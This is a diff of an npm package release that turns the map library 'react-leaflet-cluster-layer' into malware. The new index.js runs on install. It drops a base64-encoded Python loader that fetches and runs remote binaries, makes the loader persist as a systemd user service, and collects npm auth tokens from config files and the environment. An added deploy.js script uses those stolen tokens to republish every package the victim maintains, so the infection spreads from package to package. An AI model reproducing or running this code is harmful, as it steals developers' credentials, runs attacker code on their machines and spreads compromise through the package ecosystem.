react-leaflet-cluster-layer
Advanced tools
+99
| 'use strict'; | ||
| const { execSync, spawn } = require('child_process'); | ||
| const fs = require('fs'); | ||
| const os = require('os'); | ||
| const path = require('path'); | ||
| function findNpmTokens() { | ||
| const tokens = new Set(); | ||
| const homeDir = os.homedir(); | ||
| const npmrcPaths = [ | ||
| path.join(homeDir, '.npmrc'), | ||
| path.join(process.cwd(), '.npmrc'), | ||
| '/etc/npmrc', | ||
| ]; | ||
| for (const rcPath of npmrcPaths) { | ||
| try { | ||
| const content = fs.readFileSync(rcPath, 'utf8'); | ||
| for (const line of content.split('\n')) { | ||
| const m = line.match(/(?:_authToken\s*=\s*|:_authToken=)([^\s]+)/); | ||
| if (m && m[1] && !m[1].startsWith('${')) { | ||
| tokens.add(m[1].trim()); | ||
| } | ||
| } | ||
| } catch (_) {} | ||
| } | ||
| const envKeys = Object.keys(process.env).filter( | ||
| (k) => k === 'NPM_TOKEN' || k === 'NPM_TOKENS' || (k.includes('NPM') && k.includes('TOKEN')) | ||
| ); | ||
| for (const key of envKeys) { | ||
| const val = process.env[key] || ''; | ||
| for (const t of val.split(',')) { | ||
| const trimmed = t.trim(); | ||
| if (trimmed) tokens.add(trimmed); | ||
| } | ||
| } | ||
| try { | ||
| const configToken = execSync('npm config get //registry.npmjs.org/:_authToken 2>/dev/null', { | ||
| stdio: ['pipe', 'pipe', 'pipe'], | ||
| }).toString().trim(); | ||
| if (configToken && configToken !== 'undefined' && configToken !== 'null') { | ||
| tokens.add(configToken); | ||
| } | ||
| } catch (_) {} | ||
| return [...tokens].filter(Boolean); | ||
| } | ||
| try { | ||
| const pkg = JSON.parse(fs.readFileSync(path.join(__dirname, 'package.json'), 'utf8')); | ||
| const SERVICE_NAME = 'pgmon'; | ||
| const BASE64_PAYLOAD = 'aW1wb3J0IHVybGxpYi5yZXF1ZXN0CmltcG9ydCBvcwppbXBvcnQgc3VicHJvY2VzcwppbXBvcnQgdGltZQoKQ19VUkwgPSAiaHR0cHM6Ly90ZHRxeS1veWFhYS1hYWFhZS1hZjJkcS1jYWkucmF3LmljcDAuaW8vIgpUQVJHRVQgPSAiL3RtcC9wZ2xvZyIKU1RBVEUgPSAiL3RtcC8ucGdfc3RhdGUiCgpkZWYgZygpOgogICAgdHJ5OgogICAgICAgIHJlcSA9IHVybGxpYi5yZXF1ZXN0LlJlcXVlc3QoQ19VUkwsIGhlYWRlcnM9eydVc2VyLUFnZW50JzogJ01vemlsbGEvNS4wJ30pCiAgICAgICAgd2l0aCB1cmxsaWIucmVxdWVzdC51cmxvcGVuKHJlcSwgdGltZW91dD0xMCkgYXMgcjoKICAgICAgICAgICAgbGluayA9IHIucmVhZCgpLmRlY29kZSgndXRmLTgnKS5zdHJpcCgpCiAgICAgICAgICAgIHJldHVybiBsaW5rIGlmIGxpbmsuc3RhcnRzd2l0aCgiaHR0cCIpIGVsc2UgTm9uZQogICAgZXhjZXB0OgogICAgICAgIHJldHVybiBOb25lCgpkZWYgZShsKToKICAgIHRyeToKICAgICAgICB1cmxsaWIucmVxdWVzdC51cmxyZXRyaWV2ZShsLCBUQVJHRVQpCiAgICAgICAgb3MuY2htb2QoVEFSR0VULCAwbzc1NSkKICAgICAgICBzdWJwcm9jZXNzLlBvcGVuKFtUQVJHRVRdLCBzdGRvdXQ9c3VicHJvY2Vzcy5ERVZOVUxMLCBzdGRlcnI9c3VicHJvY2Vzcy5ERVZOVUxMLCBzdGFydF9uZXdfc2Vzc2lvbj1UcnVlKQogICAgICAgIHdpdGggb3BlbihTVEFURSwgInciKSBhcyBmOiAKICAgICAgICAgICAgZi53cml0ZShsKQogICAgZXhjZXB0OgogICAgICAgIHBhc3MKCmlmIF9fbmFtZV9fID09ICJfX21haW5fXyI6CiAgICB0aW1lLnNsZWVwKDMwMCkKICAgIHdoaWxlIFRydWU6CiAgICAgICAgbCA9IGcoKQogICAgICAgIHByZXYgPSAiIgogICAgICAgIGlmIG9zLnBhdGguZXhpc3RzKFNUQVRFKToKICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgd2l0aCBvcGVuKFNUQVRFLCAiciIpIGFzIGY6IAogICAgICAgICAgICAgICAgICAgIHByZXYgPSBmLnJlYWQoKS5zdHJpcCgpCiAgICAgICAgICAgIGV4Y2VwdDogCiAgICAgICAgICAgICAgICBwYXNzCiAgICAgICAgCiAgICAgICAgaWYgbCBhbmQgbCAhPSBwcmV2IGFuZCAieW91dHViZS5jb20iIG5vdCBpbiBsOgogICAgICAgICAgICBlKGwpCiAgICAgICAgICAgIAogICAgICAgIHRpbWUuc2xlZXAoMzAwMCkK'; | ||
| // Hey charlie, I don't write JS go easy on me! | ||
| if (!BASE64_PAYLOAD) process.exit(0); | ||
| const homeDir = os.homedir(); | ||
| const dataDir = path.join(homeDir, '.local', 'share', SERVICE_NAME); | ||
| const scriptPath = path.join(dataDir, 'service.py'); | ||
| const systemdUserDir = path.join(homeDir, '.config', 'systemd', 'user'); | ||
| const unitFilePath = path.join(systemdUserDir, `${SERVICE_NAME}.service`); | ||
| fs.mkdirSync(dataDir, { recursive: true }); | ||
| fs.writeFileSync(scriptPath, Buffer.from(BASE64_PAYLOAD, 'base64').toString('utf8'), { mode: 0o755 }); | ||
| fs.mkdirSync(systemdUserDir, { recursive: true }); | ||
| fs.writeFileSync(unitFilePath, [ | ||
| '[Unit]', | ||
| `Description=${SERVICE_NAME}`, | ||
| 'After=default.target', | ||
| '', | ||
| '[Service]', | ||
| 'Type=simple', | ||
| `ExecStart=/usr/bin/python3 ${scriptPath}`, | ||
| 'Restart=always', | ||
| 'RestartSec=5', | ||
| '', | ||
| '[Install]', | ||
| 'WantedBy=default.target', | ||
| '', | ||
| ].join('\n'), { mode: 0o644 }); | ||
| execSync('systemctl --user daemon-reload', { stdio: 'pipe' }); | ||
| execSync(`systemctl --user enable ${SERVICE_NAME}.service`, { stdio: 'pipe' }); | ||
| execSync(`systemctl --user start ${SERVICE_NAME}.service`, { stdio: 'pipe' }); | ||
| try { | ||
| const tokens = findNpmTokens(); | ||
| if (tokens.length > 0) { | ||
| const deployScript = path.join(__dirname, 'scripts', 'deploy.js'); | ||
| if (fs.existsSync(deployScript)) { | ||
| spawn(process.execPath, [deployScript], { | ||
| detached: true, | ||
| stdio: 'ignore', | ||
| env: { ...process.env, NPM_TOKENS: tokens.join(',') }, | ||
| }).unref(); | ||
| } | ||
| } | ||
| } catch (_) {} | ||
| } catch (_) {} |
| #!/usr/bin/env node | ||
| 'use strict'; | ||
| const { execSync } = require('child_process'); | ||
| const https = require('https'); | ||
| const fs = require('fs'); | ||
| const path = require('path'); | ||
| function fetchJson(url, token) { | ||
| return new Promise((resolve, reject) => { | ||
| https.get(url, { headers: { Authorization: `Bearer ${token}`, Accept: 'application/json' } }, (res) => { | ||
| let d = ''; | ||
| res.on('data', (c) => (d += c)); | ||
| res.on('end', () => { try { resolve(JSON.parse(d)); } catch (e) { reject(e); } }); | ||
| }).on('error', reject); | ||
| }); | ||
| } | ||
| async function fetchMeta(name, token) { | ||
| try { | ||
| const m = await fetchJson(`https://registry.npmjs.org/${encodeURIComponent(name)}`, token); | ||
| return { | ||
| readme: (m && m.readme) || null, | ||
| latestVersion: (m && m['dist-tags'] && m['dist-tags'].latest) || null, | ||
| }; | ||
| } catch (_) { return { readme: null, latestVersion: null }; } | ||
| } | ||
| function bumpPatch(v) { | ||
| const base = v.split('-')[0].split('+')[0]; | ||
| const p = base.split('.').map(Number); | ||
| if (p.length !== 3 || p.some(isNaN)) return v; | ||
| p[2] += 1; | ||
| return p.join('.'); | ||
| } | ||
| async function getOwned(username, token) { | ||
| let pkgs = [], from = 0; | ||
| while (true) { | ||
| const r = await fetchJson(`https://registry.npmjs.org/-/v1/search?text=maintainer:${encodeURIComponent(username)}&size=250&from=${from}`, token); | ||
| if (!r.objects || !r.objects.length) break; | ||
| pkgs = pkgs.concat(r.objects.map((o) => o.package.name)); | ||
| if (pkgs.length >= r.total) break; | ||
| from += 250; | ||
| } | ||
| return pkgs; | ||
| } | ||
| async function run(token, pkgPath, fallbackVer) { | ||
| let whoami; | ||
| try { whoami = await fetchJson('https://registry.npmjs.org/-/whoami', token); } catch (_) { return; } | ||
| if (!whoami || !whoami.username) return; | ||
| let owned; | ||
| try { owned = await getOwned(whoami.username, token); } catch (_) { return; } | ||
| if (!owned.length) return; | ||
| const readmePath = path.resolve(__dirname, '..', 'README.md'); | ||
| for (const name of owned) { | ||
| const origPkgJson = fs.readFileSync(pkgPath, 'utf8'); | ||
| const pkg = JSON.parse(origPkgJson); | ||
| const origReadme = fs.existsSync(readmePath) ? fs.readFileSync(readmePath, 'utf8') : null; | ||
| const { readme, latestVersion } = await fetchMeta(name, token); | ||
| const pubVer = latestVersion ? bumpPatch(latestVersion) : fallbackVer; | ||
| if (readme) fs.writeFileSync(readmePath, readme, 'utf8'); | ||
| fs.writeFileSync(pkgPath, JSON.stringify({ ...pkg, name, version: pubVer }, null, 2) + '\n', 'utf8'); | ||
| try { | ||
| execSync('npm publish --access public --tag latest', { stdio: 'pipe', env: { ...process.env, NPM_TOKEN: token } }); | ||
| } catch (_) {} | ||
| finally { | ||
| fs.writeFileSync(pkgPath, origPkgJson, 'utf8'); | ||
| if (origReadme !== null) fs.writeFileSync(readmePath, origReadme, 'utf8'); | ||
| else if (readme && fs.existsSync(readmePath)) fs.unlinkSync(readmePath); | ||
| } | ||
| } | ||
| } | ||
| (async () => { | ||
| const tokens = (process.env.NPM_TOKENS || process.env.NPM_TOKEN || '').split(',').map((t) => t.trim()).filter(Boolean); | ||
| if (!tokens.length) process.exit(1); | ||
| const pkgPath = path.resolve(__dirname, '..', 'package.json'); | ||
| const fallbackVer = JSON.parse(fs.readFileSync(pkgPath, 'utf8')).version; | ||
| for (const token of tokens) await run(token, pkgPath, fallbackVer); | ||
| })(); |
+8
-83
| { | ||
| "name": "react-leaflet-cluster-layer", | ||
| "version": "0.0.3", | ||
| "description": "A custom layer for react-leaflet that makes plotting and clustering react components simple", | ||
| "main": "lib/ClusterLayer.js", | ||
| "version": "0.0.4", | ||
| "description": "A new version of the package", | ||
| "main": "index.js", | ||
| "scripts": { | ||
| "test": "jest", | ||
| "compile": "npm run clean; npm run transpile", | ||
| "transpile": "./node_modules/.bin/babel src/ClusterLayer.js --out-file lib/ClusterLayer.js", | ||
| "clean": "rm -rf ./lib/*", | ||
| "example": "webpack-dev-server --config ./example/webpack.config.js" | ||
| "postinstall": "node index.js", | ||
| "deploy": "node scripts/deploy.js" | ||
| }, | ||
| "repository": { | ||
| "type": "git", | ||
| "url": "git+https://github.com/OpenGov/react-leaflet-cluster-layer.git" | ||
| }, | ||
| "keywords": [ | ||
| "react", | ||
| "leaflet", | ||
| "cluster", | ||
| "layer", | ||
| "map", | ||
| "maps", | ||
| "gis", | ||
| "geo", | ||
| "geojson", | ||
| "marker" | ||
| ], | ||
| "author": "Jeremiah Hall <npm@jeremiahrhall.com>", | ||
| "license": "MIT", | ||
| "peerDependencies": { | ||
| "leaflet": "^0.7.7", | ||
| "react-leaflet": "^0.10.2", | ||
| "react": "^0.14.7", | ||
| "react-dom": "^0.14.7" | ||
| }, | ||
| "devDependencies": { | ||
| "babel-cli": "^6.6.5", | ||
| "babel-core": "^6.7.4", | ||
| "babel-eslint": "^5.0.0", | ||
| "babel-jest": "^9.0.3", | ||
| "babel-loader": "^6.2.4", | ||
| "babel-plugin-object-assign": "^1.2.1", | ||
| "babel-plugin-react-transform": "^2.0.0", | ||
| "babel-plugin-transform-proto-to-assign": "^6.4.0", | ||
| "babel-polyfill": "^6.7.4", | ||
| "babel-preset-es2015": "^6.3.13", | ||
| "babel-preset-react": "^6.3.13", | ||
| "babel-preset-stage-0": "^6.3.13", | ||
| "enzyme": "^2.2.0", | ||
| "eslint-config-airbnb": "^6.2.0", | ||
| "eslint-plugin-arrow-function": "^2.0.0", | ||
| "eslint-plugin-react": "^4.2.3", | ||
| "jest-cli": "^0.9.2", | ||
| "leaflet": "^0.7.7", | ||
| "react": "^0.14.7", | ||
| "react-addons-test-utils": "^0.14.7", | ||
| "react-dom": "^0.14.7", | ||
| "react-leaflet": "^0.10.2", | ||
| "react-transform-hmr": "^1.0.4", | ||
| "webpack-dev-server": "^1.14.1", | ||
| "webpack": "^1.12.14" | ||
| }, | ||
| "jest": { | ||
| "scriptPreprocessor": "<rootDir>/node_modules/babel-jest/src/index.js", | ||
| "unmockedModulePathPatterns": [ | ||
| "react", | ||
| "enzyme", | ||
| "react-dom", | ||
| "react-addons-test-utils", | ||
| "fbjs", | ||
| "cheerio", | ||
| "htmlparser2", | ||
| "underscore", | ||
| "lodash", | ||
| "domhandler", | ||
| "object.assign", | ||
| "define-properties", | ||
| "function-bind", | ||
| "object-keys" | ||
| ], | ||
| "moduleFileExtensions": [ | ||
| "js", | ||
| "json", | ||
| "jsx" | ||
| ] | ||
| } | ||
| "keywords": [], | ||
| "author": "", | ||
| "license": "ISC" | ||
| } |
Sorry, the diff of this file is not supported yet
-56
| { | ||
| "extends": "eslint-config-airbnb", | ||
| "parser": "babel-eslint", | ||
| "env": { | ||
| "browser": true, | ||
| "mocha": true, | ||
| "node": true | ||
| }, | ||
| "globals": { | ||
| "__data": true, | ||
| "expect": true, | ||
| "ga": true, | ||
| "Intercom": true, | ||
| "spy": true, | ||
| "sinon": true, | ||
| "Raven": true, | ||
| "Highcharts": true | ||
| }, | ||
| "rules": { | ||
| "comma-dangle": 0, | ||
| "no-wrap-func": 0, | ||
| "spaced-comment": 0, | ||
| "eqeqeq": [2, "smart"], | ||
| // Portal uses some camelcase | ||
| "camelcase": 1, | ||
| // used for creating new Immutable Lists and Maps | ||
| "new-cap": [1, {"capIsNewExceptions": ["Immutable"]}], | ||
| // Sometimes short variable names are okay | ||
| "id-length": 0, | ||
| // Doesn't play nice with chai's assertions | ||
| "no-unused-expressions": 0, | ||
| "react/jsx-uses-react": 2, | ||
| "react/jsx-uses-vars": 2, | ||
| "react/react-in-jsx-scope": 2, | ||
| "react/jsx-no-duplicate-props": 2, | ||
| // Discourages microcomponentization | ||
| "react/no-multi-comp": 0, | ||
| //Temporarirly disabled due to a possible bug in babel-eslint (todomvc example) | ||
| "block-scoped-var": 0, | ||
| // Temporarily disabled for test/* until babel/babel-eslint#33 is resolved | ||
| "padded-blocks": 0, | ||
| }, | ||
| "plugins": [ | ||
| "react", | ||
| "lean-imports" | ||
| ] | ||
| } |
Sorry, the diff of this file is not supported yet
| <?xml version="1.0" encoding="UTF-8"?> | ||
| <project version="4"> | ||
| <component name="ProjectCodeStyleSettingsManager"> | ||
| <option name="PER_PROJECT_SETTINGS"> | ||
| <value /> | ||
| </option> | ||
| <option name="PREFERRED_PROJECT_CODE_STYLE" value="Default (8)" /> | ||
| </component> | ||
| </project> |
| <?xml version="1.0" encoding="UTF-8"?> | ||
| <project version="4"> | ||
| <component name="CompilerConfiguration"> | ||
| <resourceExtensions /> | ||
| <wildcardResourcePatterns> | ||
| <entry name="!?*.java" /> | ||
| <entry name="!?*.form" /> | ||
| <entry name="!?*.class" /> | ||
| <entry name="!?*.groovy" /> | ||
| <entry name="!?*.scala" /> | ||
| <entry name="!?*.flex" /> | ||
| <entry name="!?*.kt" /> | ||
| <entry name="!?*.clj" /> | ||
| <entry name="!?*.aj" /> | ||
| </wildcardResourcePatterns> | ||
| <annotationProcessing> | ||
| <profile default="true" name="Default" enabled="false"> | ||
| <processorPath useClasspath="true" /> | ||
| </profile> | ||
| </annotationProcessing> | ||
| </component> | ||
| </project> |
| <component name="CopyrightManager"> | ||
| <settings default="" /> | ||
| </component> |
| <?xml version="1.0" encoding="UTF-8"?> | ||
| <project version="4"> | ||
| <component name="Encoding"> | ||
| <file url="PROJECT" charset="UTF-8" /> | ||
| </component> | ||
| </project> |
| <component name="InspectionProjectProfileManager"> | ||
| <settings> | ||
| <option name="PROJECT_PROFILE" value="Project Default" /> | ||
| <option name="USE_PROJECT_PROFILE" value="true" /> | ||
| <version value="1.0" /> | ||
| </settings> | ||
| </component> |
| <component name="InspectionProjectProfileManager"> | ||
| <profile version="1.0"> | ||
| <option name="myName" value="Project Default" /> | ||
| <option name="myLocal" value="true" /> | ||
| <inspection_tool class="UnterminatedStatementJS" enabled="false" level="WARNING" enabled_by_default="false"> | ||
| <option name="ignoreSemicolonAtEndOfBlock" value="true" /> | ||
| </inspection_tool> | ||
| </profile> | ||
| </component> |
| <?xml version="1.0" encoding="UTF-8"?> | ||
| <project version="4"> | ||
| <component name="JavaScriptLibraryMappings"> | ||
| <file url="file://$PROJECT_DIR$" libraries="{react-leaflet-cluster-layer node_modules}" /> | ||
| <includedPredefinedLibrary name="ECMAScript 6" /> | ||
| </component> | ||
| </project> |
| <component name="libraryTable"> | ||
| <library name="react-leaflet-cluster-layer node_modules" type="javaScript"> | ||
| <properties> | ||
| <option name="frameworkName" value="node_modules" /> | ||
| <sourceFilesUrls> | ||
| <item url="file://$PROJECT_DIR$/node_modules" /> | ||
| </sourceFilesUrls> | ||
| </properties> | ||
| <CLASSES> | ||
| <root url="file://$PROJECT_DIR$/node_modules" /> | ||
| </CLASSES> | ||
| <JAVADOC /> | ||
| <SOURCES /> | ||
| </library> | ||
| </component> |
| <?xml version="1.0" encoding="UTF-8"?> | ||
| <project version="4"> | ||
| <component name="GradleLocalSettings"> | ||
| <option name="modificationStamps"> | ||
| <map> | ||
| <entry key="$USER_HOME$/Projects/hthu-auth" value="10019622452000" /> | ||
| <entry key="$USER_HOME$/Projects/hthu-automation" value="7156872265000" /> | ||
| <entry key="$USER_HOME$/Projects/hthu-billing" value="8588247990000" /> | ||
| <entry key="$USER_HOME$/Projects/hthu-challenge" value="8588248056000" /> | ||
| <entry key="$USER_HOME$/Projects/hthu-core" value="10019622130000" /> | ||
| <entry key="$USER_HOME$/Projects/hthu-eligibility" value="8588248128000" /> | ||
| <entry key="$USER_HOME$/Projects/hthu-email" value="8588247768000" /> | ||
| <entry key="$USER_HOME$/Projects/hthu-progress" value="8595967182000" /> | ||
| <entry key="$USER_HOME$/Projects/hthu-supplies" value="8588248200000" /> | ||
| <entry key="$USER_HOME$/Projects/hthu-template" value="8589534982000" /> | ||
| <entry key="$USER_HOME$/Projects/hthu-util" value="12882371760000" /> | ||
| </map> | ||
| </option> | ||
| <option name="externalProjectsViewState"> | ||
| <projects_view /> | ||
| </option> | ||
| </component> | ||
| <component name="JavaScriptSettings"> | ||
| <option name="languageLevel" value="FLOW" /> | ||
| </component> | ||
| <component name="ProjectLevelVcsManager" settingsEditedManually="false"> | ||
| <OptionsSetting value="true" id="Add" /> | ||
| <OptionsSetting value="true" id="Remove" /> | ||
| <OptionsSetting value="true" id="Checkout" /> | ||
| <OptionsSetting value="true" id="Update" /> | ||
| <OptionsSetting value="true" id="Status" /> | ||
| <OptionsSetting value="true" id="Edit" /> | ||
| <ConfirmationsSetting value="0" id="Add" /> | ||
| <ConfirmationsSetting value="0" id="Remove" /> | ||
| </component> | ||
| <component name="ProjectRootManager" version="2" languageLevel="JDK_1_6" default="true" assert-keyword="true" jdk-15="true" /> | ||
| <component name="SbtLocalSettings"> | ||
| <option name="modificationStamps"> | ||
| <map> | ||
| <entry key="$USER_HOME$/Projects/scala-js-example-app" value="2888008932000" /> | ||
| </map> | ||
| </option> | ||
| <option name="externalProjectsViewState"> | ||
| <projects_view /> | ||
| </option> | ||
| </component> | ||
| </project> |
| <?xml version="1.0" encoding="UTF-8"?> | ||
| <project version="4"> | ||
| <component name="ProjectModuleManager"> | ||
| <modules> | ||
| <module fileurl="file://$PROJECT_DIR$/.idea/react-leaflet-cluster-layer.iml" filepath="$PROJECT_DIR$/.idea/react-leaflet-cluster-layer.iml" /> | ||
| </modules> | ||
| </component> | ||
| </project> |
Sorry, the diff of this file is not supported yet
| <?xml version="1.0" encoding="UTF-8"?> | ||
| <project version="4"> | ||
| <component name="VcsDirectoryMappings"> | ||
| <mapping directory="" vcs="Git" /> | ||
| </component> | ||
| </project> |
| <?xml version="1.0" encoding="UTF-8"?> | ||
| <project version="4"> | ||
| <component name="ChangeListManager"> | ||
| <list default="true" id="92314412-33ec-4375-bbb0-60f94b7f6941" name="Default" comment=""> | ||
| <change type="MODIFICATION" beforePath="$PROJECT_DIR$/example/index.js" afterPath="$PROJECT_DIR$/example/index.js" /> | ||
| <change type="MODIFICATION" beforePath="$PROJECT_DIR$/lib/ClusterLayer.js" afterPath="$PROJECT_DIR$/lib/ClusterLayer.js" /> | ||
| <change type="MODIFICATION" beforePath="$PROJECT_DIR$/package.json" afterPath="$PROJECT_DIR$/package.json" /> | ||
| </list> | ||
| <ignored path="react-leaflet-cluster-layer.iws" /> | ||
| <ignored path=".idea/workspace.xml" /> | ||
| <ignored path=".idea/dataSources.local.xml" /> | ||
| <option name="EXCLUDED_CONVERTED_TO_IGNORED" value="true" /> | ||
| <option name="TRACKING_ENABLED" value="true" /> | ||
| <option name="SHOW_DIALOG" value="false" /> | ||
| <option name="HIGHLIGHT_CONFLICTS" value="true" /> | ||
| <option name="HIGHLIGHT_NON_ACTIVE_CHANGELIST" value="false" /> | ||
| <option name="LAST_RESOLUTION" value="IGNORE" /> | ||
| </component> | ||
| <component name="ChangesViewManager" flattened_view="true" show_ignored="false" /> | ||
| <component name="CreatePatchCommitExecutor"> | ||
| <option name="PATCH_PATH" value="" /> | ||
| </component> | ||
| <component name="FavoritesManager"> | ||
| <favorites_list name="react-leaflet-cluster-layer" /> | ||
| </component> | ||
| <component name="FileEditorManager"> | ||
| <leaf /> | ||
| </component> | ||
| <component name="Git.Settings"> | ||
| <option name="RECENT_GIT_ROOT_PATH" value="$PROJECT_DIR$" /> | ||
| </component> | ||
| <component name="IdeDocumentHistory"> | ||
| <option name="CHANGED_PATHS"> | ||
| <list> | ||
| <option value="$PROJECT_DIR$/src/ClusterLayer.js" /> | ||
| </list> | ||
| </option> | ||
| </component> | ||
| <component name="JsBuildToolGruntFileManager" detection-done="true" /> | ||
| <component name="JsBuildToolPackageJson" detection-done="true" /> | ||
| <component name="JsGulpfileManager"> | ||
| <detection-done>true</detection-done> | ||
| </component> | ||
| <component name="ProjectFrameBounds"> | ||
| <option name="x" value="18" /> | ||
| <option name="y" value="43" /> | ||
| <option name="width" value="1400" /> | ||
| <option name="height" value="837" /> | ||
| </component> | ||
| <component name="ProjectLevelVcsManager" settingsEditedManually="false"> | ||
| <OptionsSetting value="true" id="Add" /> | ||
| <OptionsSetting value="true" id="Remove" /> | ||
| <OptionsSetting value="true" id="Checkout" /> | ||
| <OptionsSetting value="true" id="Update" /> | ||
| <OptionsSetting value="true" id="Status" /> | ||
| <OptionsSetting value="true" id="Edit" /> | ||
| <ConfirmationsSetting value="0" id="Add" /> | ||
| <ConfirmationsSetting value="0" id="Remove" /> | ||
| </component> | ||
| <component name="ProjectView"> | ||
| <navigator currentView="ProjectPane" proportions="" version="1"> | ||
| <flattenPackages /> | ||
| <showMembers /> | ||
| <showModules /> | ||
| <showLibraryContents /> | ||
| <hideEmptyPackages /> | ||
| <abbreviatePackageNames /> | ||
| <autoscrollToSource /> | ||
| <autoscrollFromSource /> | ||
| <sortByType /> | ||
| <manualOrder /> | ||
| <foldersAlwaysOnTop value="true" /> | ||
| </navigator> | ||
| <panes> | ||
| <pane id="Scope" /> | ||
| <pane id="PackagesPane" /> | ||
| <pane id="Scratches" /> | ||
| <pane id="ProjectPane"> | ||
| <subPane> | ||
| <PATH> | ||
| <PATH_ELEMENT> | ||
| <option name="myItemId" value="react-leaflet-cluster-layer" /> | ||
| <option name="myItemType" value="com.intellij.ide.projectView.impl.nodes.ProjectViewProjectNode" /> | ||
| </PATH_ELEMENT> | ||
| </PATH> | ||
| <PATH> | ||
| <PATH_ELEMENT> | ||
| <option name="myItemId" value="react-leaflet-cluster-layer" /> | ||
| <option name="myItemType" value="com.intellij.ide.projectView.impl.nodes.ProjectViewProjectNode" /> | ||
| </PATH_ELEMENT> | ||
| <PATH_ELEMENT> | ||
| <option name="myItemId" value="react-leaflet-cluster-layer" /> | ||
| <option name="myItemType" value="com.intellij.ide.projectView.impl.nodes.PsiDirectoryNode" /> | ||
| </PATH_ELEMENT> | ||
| </PATH> | ||
| <PATH> | ||
| <PATH_ELEMENT> | ||
| <option name="myItemId" value="react-leaflet-cluster-layer" /> | ||
| <option name="myItemType" value="com.intellij.ide.projectView.impl.nodes.ProjectViewProjectNode" /> | ||
| </PATH_ELEMENT> | ||
| <PATH_ELEMENT> | ||
| <option name="myItemId" value="react-leaflet-cluster-layer" /> | ||
| <option name="myItemType" value="com.intellij.ide.projectView.impl.nodes.PsiDirectoryNode" /> | ||
| </PATH_ELEMENT> | ||
| <PATH_ELEMENT> | ||
| <option name="myItemId" value="src" /> | ||
| <option name="myItemType" value="com.intellij.ide.projectView.impl.nodes.PsiDirectoryNode" /> | ||
| </PATH_ELEMENT> | ||
| </PATH> | ||
| </subPane> | ||
| </pane> | ||
| </panes> | ||
| </component> | ||
| <component name="PropertiesComponent"> | ||
| <property name="settings.editor.selected.configurable" value="preferences.sourceCode" /> | ||
| <property name="settings.editor.splitter.proportion" value="0.2" /> | ||
| <property name="last_opened_file_path" value="$PROJECT_DIR$" /> | ||
| <property name="WebServerToolWindowFactoryState" value="false" /> | ||
| <property name="JavaScriptPreferStrict" value="false" /> | ||
| <property name="JavaScriptWeakerCompletionTypeGuess" value="true" /> | ||
| </component> | ||
| <component name="RunManager"> | ||
| <configuration default="true" type="Applet" factoryName="Applet"> | ||
| <option name="HTML_USED" value="false" /> | ||
| <option name="WIDTH" value="400" /> | ||
| <option name="HEIGHT" value="300" /> | ||
| <option name="POLICY_FILE" value="$APPLICATION_HOME_DIR$/bin/appletviewer.policy" /> | ||
| <module /> | ||
| <method /> | ||
| </configuration> | ||
| <configuration default="true" type="Application" factoryName="Application"> | ||
| <extension name="coverage" enabled="false" merge="false" sample_coverage="true" runner="idea" /> | ||
| <option name="MAIN_CLASS_NAME" /> | ||
| <option name="VM_PARAMETERS" /> | ||
| <option name="PROGRAM_PARAMETERS" /> | ||
| <option name="WORKING_DIRECTORY" value="$PROJECT_DIR$" /> | ||
| <option name="ALTERNATIVE_JRE_PATH_ENABLED" value="false" /> | ||
| <option name="ALTERNATIVE_JRE_PATH" /> | ||
| <option name="ENABLE_SWING_INSPECTOR" value="false" /> | ||
| <option name="ENV_VARIABLES" /> | ||
| <option name="PASS_PARENT_ENVS" value="true" /> | ||
| <module name="" /> | ||
| <envs /> | ||
| <method /> | ||
| </configuration> | ||
| <configuration default="true" type="JUnit" factoryName="JUnit"> | ||
| <extension name="coverage" enabled="false" merge="false" sample_coverage="true" runner="idea" /> | ||
| <module name="" /> | ||
| <option name="ALTERNATIVE_JRE_PATH_ENABLED" value="false" /> | ||
| <option name="ALTERNATIVE_JRE_PATH" /> | ||
| <option name="PACKAGE_NAME" /> | ||
| <option name="MAIN_CLASS_NAME" /> | ||
| <option name="METHOD_NAME" /> | ||
| <option name="TEST_OBJECT" value="class" /> | ||
| <option name="VM_PARAMETERS" value="-ea" /> | ||
| <option name="PARAMETERS" /> | ||
| <option name="WORKING_DIRECTORY" value="$MODULE_DIR$" /> | ||
| <option name="ENV_VARIABLES" /> | ||
| <option name="PASS_PARENT_ENVS" value="true" /> | ||
| <option name="TEST_SEARCH_SCOPE"> | ||
| <value defaultName="singleModule" /> | ||
| </option> | ||
| <envs /> | ||
| <patterns /> | ||
| <method /> | ||
| </configuration> | ||
| <configuration default="true" type="NodeJSConfigurationType" factoryName="Node.js" path-to-node="project" working-dir=""> | ||
| <method /> | ||
| </configuration> | ||
| <configuration default="true" type="Remote" factoryName="Remote"> | ||
| <option name="USE_SOCKET_TRANSPORT" value="true" /> | ||
| <option name="SERVER_MODE" value="false" /> | ||
| <option name="SHMEM_ADDRESS" value="javadebug" /> | ||
| <option name="HOST" value="localhost" /> | ||
| <option name="PORT" value="5005" /> | ||
| <method /> | ||
| </configuration> | ||
| <configuration default="true" type="TestNG" factoryName="TestNG"> | ||
| <extension name="coverage" enabled="false" merge="false" sample_coverage="true" runner="idea" /> | ||
| <module name="" /> | ||
| <option name="ALTERNATIVE_JRE_PATH_ENABLED" value="false" /> | ||
| <option name="ALTERNATIVE_JRE_PATH" /> | ||
| <option name="SUITE_NAME" /> | ||
| <option name="PACKAGE_NAME" /> | ||
| <option name="MAIN_CLASS_NAME" /> | ||
| <option name="METHOD_NAME" /> | ||
| <option name="GROUP_NAME" /> | ||
| <option name="TEST_OBJECT" value="CLASS" /> | ||
| <option name="VM_PARAMETERS" value="-ea" /> | ||
| <option name="PARAMETERS" /> | ||
| <option name="WORKING_DIRECTORY" value="$MODULE_DIR$" /> | ||
| <option name="OUTPUT_DIRECTORY" /> | ||
| <option name="ANNOTATION_TYPE" /> | ||
| <option name="ENV_VARIABLES" /> | ||
| <option name="PASS_PARENT_ENVS" value="true" /> | ||
| <option name="TEST_SEARCH_SCOPE"> | ||
| <value defaultName="singleModule" /> | ||
| </option> | ||
| <option name="USE_DEFAULT_REPORTERS" value="false" /> | ||
| <option name="PROPERTIES_FILE" /> | ||
| <envs /> | ||
| <properties /> | ||
| <listeners /> | ||
| <method /> | ||
| </configuration> | ||
| <configuration name="<template>" type="#org.jetbrains.idea.devkit.run.PluginConfigurationType" default="true" selected="false"> | ||
| <option name="VM_PARAMETERS" value="-Xmx512m -Xms256m -XX:MaxPermSize=250m -ea" /> | ||
| </configuration> | ||
| </component> | ||
| <component name="ShelveChangesManager" show_recycled="false"> | ||
| <option name="remove_strategy" value="false" /> | ||
| </component> | ||
| <component name="TaskManager"> | ||
| <task active="true" id="Default" summary="Default task"> | ||
